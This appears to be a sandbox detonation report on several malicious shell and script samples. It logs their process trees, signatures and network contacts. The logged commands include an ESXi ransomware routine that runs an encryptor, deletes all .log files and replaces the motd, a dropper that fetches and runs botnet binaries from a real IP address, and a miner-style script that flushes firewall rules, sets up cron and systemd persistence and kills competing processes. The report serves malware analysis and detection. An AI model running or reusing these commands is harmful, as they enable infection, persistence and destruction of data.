File opened for reading /proc/669/status /bin/ps N/A
File opened for reading /proc/275/status /bin/ps N/A
File opened for reading /proc/666/stat /bin/ps N/A
File opened for reading /proc/4/stat /bin/ps N/A
File opened for reading /proc/645/stat /bin/ps N/A
File opened for reading /proc/27/stat /bin/ps N/A
File opened for reading /proc/277/status /bin/ps N/A
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/272/stat /bin/ps N/A
File opened for reading /proc/11/stat /bin/ps N/A
File opened for reading /proc/12/status /bin/ps N/A
File opened for reading /proc/26/stat /bin/ps N/A
File opened for reading /proc/107/status /bin/ps N/A
File opened for reading /proc/146/status /bin/ps N/A
File opened for reading /proc/filesystems /bin/ps N/A
File opened for reading /proc/uptime /bin/ps N/A
File opened for reading /proc/697/status /bin/ps N/A
File opened for reading /proc/sys/kernel/osrelease /bin/ps N/A
File opened for reading /proc/677/stat /bin/ps N/A
File opened for reading /proc/3/stat /bin/ps N/A
File opened for reading /proc/9/status /bin/ps N/A
File opened for reading /proc/76/stat /bin/ps N/A
File opened for reading /proc/297/status /bin/ps N/A
File opened for reading /proc/4/stat /bin/ps N/A
File opened for reading /proc/42/stat /bin/ps N/A
File opened for reading /proc/599/stat /bin/ps N/A
File opened for reading /proc/299/stat /bin/ps N/A
File opened for reading /proc/297/status /bin/ps N/A
File opened for reading /proc/646/status /bin/ps N/A
File opened for reading /proc/6/status /bin/ps N/A
File opened for reading /proc/7/stat /bin/ps N/A
File opened for reading /proc/600/stat /bin/ps N/A
File opened for reading /proc/259/status /bin/ps N/A
File opened for reading /proc/137/stat /bin/ps N/A
File opened for reading /proc/146/stat /bin/ps N/A
File opened for reading /proc/149/stat /bin/ps N/A
File opened for reading /proc/169/status /bin/ps N/A
File opened for reading /proc/271/status /bin/ps N/A
File opened for reading /proc/17/stat /bin/ps N/A
File opened for reading /proc/105/status /bin/ps N/A
File opened for reading /proc/149/status /bin/ps N/A
File opened for reading /proc/596/status /bin/ps N/A
File opened for reading /proc/self/stat /bin/ps N/A
File opened for reading /proc/meminfo /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh N/A
N/A N/A /bin/rm N/A
N/A N/A /bin/rm N/A

Processes

/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/bin/grep

[grep Config File]

/usr/bin/awk

[awk {print $3}]

/bin/ps

[ps]

/bin/grep

[grep vmx]

/usr/bin/awk

[awk {print $2}]

/bin/chmod

[chmod +x /tmp//encrypt]

/bin/grep

[grep /vmfs/volumes/]

/usr/bin/awk

[awk -F {print $2}]

/usr/bin/find

[find /usr/lib/vmware -type f -name index.html]

/bin/mv

[mv /etc/motd /etc/motd1]

/bin/cp

[cp /tmp//motd /etc/motd]

/bin/find

[/bin/find / -name *.log -exec /bin/rm -rf {} ;]

/bin/ps

[/bin/ps]

/bin/grep

[/bin/grep encrypt]

/bin/grep

[/bin/grep -v grep]

/bin/wc

[/bin/wc -l]

/bin/vmware

[/bin/vmware -l]

/bin/grep

[/bin/grep 7.]

/bin/wc

[/bin/wc -l]

/bin/rm

[/bin/rm -f /store/packages/vmtools.py]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh]

/bin/rm

[/bin/rm -f /tmp/encrypt /tmp/nohup.out /tmp/index.html /tmp/motd /tmp/public.pem /tmp/archieve.zip]

/bin/sh

[/bin/sh /bin/auto-backup.sh]

/bin/rm

[/bin/rm -- /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/etc/init.d/SSH

[/etc/init.d/SSH start]

Network

N/A

Files

N/A

Analysis: behavioral23

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:10

Platform

win7-20240903-en

Max time kernel

122s

Max time network

124s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\script_malware\864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

Signatures

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\script_malware\864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\script_malware\864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\script_malware\864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 6af8c02916809a90bd871467a58a5764
SHA1 2a7ce5d60dc259a1bdc11b099b19e5502e1a7fc5
SHA256 628a0158e2027c4119e27d563a79acd618439784fc528d80745dd54334d0cc2f
SHA512 0f6728f72b7dfba08f17f8e753ad06005995de2381b0953a196e224a39a7b0b624f9a7802cbe806cf44b067df5729fd79ff43da3f8cb421dbe2d24ec98a7f7f2

Analysis: behavioral30

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-armhf-20240611-en

Max time kernel

42s

Max time network

59s

Command Line

[/tmp/script_malware/SnOoPy.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/SnOoPy.sh N/A

Processes

/tmp/script_malware/SnOoPy.sh

[/tmp/script_malware/SnOoPy.sh]

/usr/bin/wget

[wget http://185.144.159.137/m-i.p-s.SNOOPY]

/bin/chmod

[chmod +x m-i.p-s.SNOOPY]

/tmp/m-i.p-s.SNOOPY

[./m-i.p-s.SNOOPY]

/bin/rm

[rm -rf m-i.p-s.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-p.s-l.SNOOPY]

/bin/chmod

[chmod +x m-p.s-l.SNOOPY]

/tmp/m-p.s-l.SNOOPY

[./m-p.s-l.SNOOPY]

/bin/rm

[rm -rf m-p.s-l.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/s-h.4-.SNOOPY]

/bin/chmod

[chmod +x s-h.4-.SNOOPY]

/tmp/s-h.4-.SNOOPY

[./s-h.4-.SNOOPY]

/bin/rm

[rm -rf s-h.4-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-8.6-.SNOOPY]

/bin/chmod

[chmod +x x-8.6-.SNOOPY]

/tmp/x-8.6-.SNOOPY

[./x-8.6-.SNOOPY]

/bin/rm

[rm -rf x-8.6-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-6.SNOOPY]

/bin/chmod

[chmod +x a-r.m-6.SNOOPY]

/tmp/a-r.m-6.SNOOPY

[./a-r.m-6.SNOOPY]

/bin/rm

[rm -rf a-r.m-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-3.2-.SNOOPY]

/bin/chmod

[chmod +x x-3.2-.SNOOPY]

/tmp/x-3.2-.SNOOPY

[./x-3.2-.SNOOPY]

/bin/rm

[rm -rf x-3.2-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-7.SNOOPY]

/bin/chmod

[chmod +x a-r.m-7.SNOOPY]

/tmp/a-r.m-7.SNOOPY

[./a-r.m-7.SNOOPY]

/bin/rm

[rm -rf a-r.m-7.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/i-5.8-6.SNOOPY]

/bin/chmod

[chmod +x i-5.8-6.SNOOPY]

/tmp/i-5.8-6.SNOOPY

[./i-5.8-6.SNOOPY]

/bin/rm

[rm -rf i-5.8-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-6.8-k.SNOOPY]

/bin/chmod

[chmod +x m-6.8-k.SNOOPY]

/tmp/m-6.8-k.SNOOPY

[./m-6.8-k.SNOOPY]

/bin/rm

[rm -rf m-6.8-k.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-4.SNOOPY]

/bin/chmod

[chmod +x a-r.m-4.SNOOPY]

/tmp/a-r.m-4.SNOOPY

[./a-r.m-4.SNOOPY]

/bin/rm

[rm -rf a-r.m-4.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-5.SNOOPY]

/bin/chmod

[chmod +x a-r.m-5.SNOOPY]

/tmp/a-r.m-5.SNOOPY

[./a-r.m-5.SNOOPY]

/bin/rm

[rm -rf a-r.m-5.SNOOPY]

Network

Country Destination Domain Proto
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp

Files

memory/783-1-0xb66c2000-0xb66d3044-memory.dmp

memory/791-2-0xb66fd000-0xb670e044-memory.dmp

memory/814-3-0xb6730000-0xb6741044-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsbe-20240611-en

Max time kernel

154s

Max time network

87s

Command Line

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

Signatures

Modifies the dynamic linker configuration file

exection persistence privilege_escalation defense_evasion
Description Indicator Process Target
File opened for modification /etc/ld.so.preload /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.isTEdK /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.tykqeg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QCBN6e /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.SAyXsY /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.tN4NlV /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.du6YtK /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.xeUMsi /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.oElelU /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.GpIcnU /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.38PT9d /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.uFT7lH /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.wtX3wW /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.7DsFoU /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.AsvTro /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.h4Srtk /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.SLnyDg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.gpXWG6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.8r2n2p /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.fJFHM3 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.6Z2U5J /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.2dBxu4 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.gbfP7b /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.EtdfE6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.0i3T7s /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.HPKLbk /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.sVg67Z /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.vezFca /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.zoxvyc /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QygPNP /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.ePOFzO /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.bcZSIa /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.EapCVf /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.kHDso2 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.mODMuI /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.ImoAnt /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.MIo3jy /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.WkWSQS /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QthVAF /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.WFkhFR /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.GJKQ4X /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.gnQvuW /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.oOphF0 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.EOdseF /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.DagAVn /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.KJIpzV /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.FjlVqL /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.cYpDN3 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4BuZyN /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.q0brGA /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.7WdQgP /usr/bin/crontab N/A

Enumerates running processes

Modifies systemd

persistence privilege_escalation
Description Indicator Process Target
File opened for modification /lib/systemd/system/bot.service /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/fs/kdbus/0-system/bus /bin/systemctl N/A
File opened for reading /sys/fs/kdbus/0-system/bus /bin/systemctl N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/2/cmdline /usr/bin/pkill N/A
File opened for reading /proc/filesystems /bin/ps N/A
File opened for reading /proc/19/status /bin/ps N/A
File opened for reading /proc/5/status /usr/bin/pkill N/A
File opened for reading /proc/865/stat /bin/ps N/A
File opened for reading /proc/371/cmdline /usr/bin/pkill N/A
File opened for reading /proc/36/status /usr/bin/pkill N/A
File opened for reading /proc/23/status /usr/bin/pkill N/A
File opened for reading /proc/68/status /usr/bin/pkill N/A
File opened for reading /proc/473/cmdline /usr/bin/pkill N/A
File opened for reading /proc/473/status /usr/bin/pkill N/A
File opened for reading /proc/4/status /usr/bin/pkill N/A
File opened for reading /proc/705/status /usr/bin/pkill N/A
File opened for reading /proc/702/status /usr/bin/pkill N/A
File opened for reading /proc/112/cmdline /usr/bin/pkill N/A
File opened for reading /proc/466/status /bin/ps N/A
File opened for reading /proc/76/cmdline /usr/bin/pkill N/A
File opened for reading /proc/167/status /usr/bin/pkill N/A
File opened for reading /proc/702/cmdline /bin/ps N/A
File opened for reading /proc/751/cmdline /bin/ps N/A
File opened for reading /proc/15/cmdline /bin/ps N/A
File opened for reading /proc/9/cmdline /usr/bin/pkill N/A
File opened for reading /proc/509/cmdline /usr/bin/pkill N/A
File opened for reading /proc/4/cmdline /usr/bin/pkill N/A
File opened for reading /proc/5/cmdline /usr/bin/pkill N/A
File opened for reading /proc/5/status /usr/bin/pkill N/A
File opened for reading /proc/373/cmdline /usr/bin/pkill N/A
File opened for reading /proc/17/status /usr/bin/pkill N/A
File opened for reading /proc/77/cmdline /usr/bin/pkill N/A
File opened for reading /proc/717/stat /bin/ps N/A
File opened for reading /proc/16/cmdline /usr/bin/pkill N/A
File opened for reading /proc/76/cmdline /usr/bin/pkill N/A
File opened for reading /proc/706/cmdline /usr/bin/pkill N/A
File opened for reading /proc/713/status /usr/bin/pkill N/A
File opened for reading /proc/466/cmdline /usr/bin/pkill N/A
File opened for reading /proc/473/status /usr/bin/pkill N/A
File opened for reading /proc/373/cmdline /usr/bin/pkill N/A
File opened for reading /proc/73/stat /bin/ps N/A
File opened for reading /proc/509/status /usr/bin/pkill N/A
File opened for reading /proc/142/status /usr/bin/pkill N/A
File opened for reading /proc/16/cmdline /usr/bin/pkill N/A
File opened for reading /proc/510/cmdline /usr/bin/pkill N/A
File opened for reading /proc/320/cmdline /usr/bin/pkill N/A
File opened for reading /proc/320/status /bin/ps N/A
File opened for reading /proc/12/cmdline /usr/bin/pkill N/A
File opened for reading /proc/682/cmdline /usr/bin/pkill N/A
File opened for reading /proc/73/status /usr/bin/pkill N/A
File opened for reading /proc/77/cmdline /usr/bin/pkill N/A
File opened for reading /proc/228/cmdline /usr/bin/pkill N/A
File opened for reading /proc/751/status /usr/bin/pkill N/A
File opened for reading /proc/14/cmdline /usr/bin/pkill N/A
File opened for reading /proc/73/stat /bin/ps N/A
File opened for reading /proc/filesystems /usr/bin/crontab N/A
File opened for reading /proc/filesystems /bin/sed N/A
File opened for reading /proc/706/cmdline /usr/bin/pkill N/A
File opened for reading /proc/73/status /usr/bin/pkill N/A
File opened for reading /proc/103/stat /bin/ps N/A
File opened for reading /proc/316/cmdline /usr/bin/pkill N/A
File opened for reading /proc/316/cmdline /bin/ps N/A
File opened for reading /proc/405/status /bin/ps N/A
File opened for reading /proc/73/cmdline /bin/ps N/A
File opened for reading /proc/113/status /usr/bin/pkill N/A
File opened for reading /proc/321/status /usr/bin/pkill N/A
File opened for reading /proc/13/cmdline /usr/bin/pkill N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh N/A
N/A N/A /bin/sed N/A

Processes

/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh

[/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh]

/usr/bin/chattr

[chattr -i /etc/ld.so.preload]

/bin/rm

[rm -f /etc/ld.so.preload]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/id

[id -u]

/bin/grep

[grep -e /dev]

/bin/ls

[ls -la /etc]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep agetty]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/bin/grep

[grep 207.38.87.6]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/bin/grep

[grep ./udp]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/11]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/bin/ps

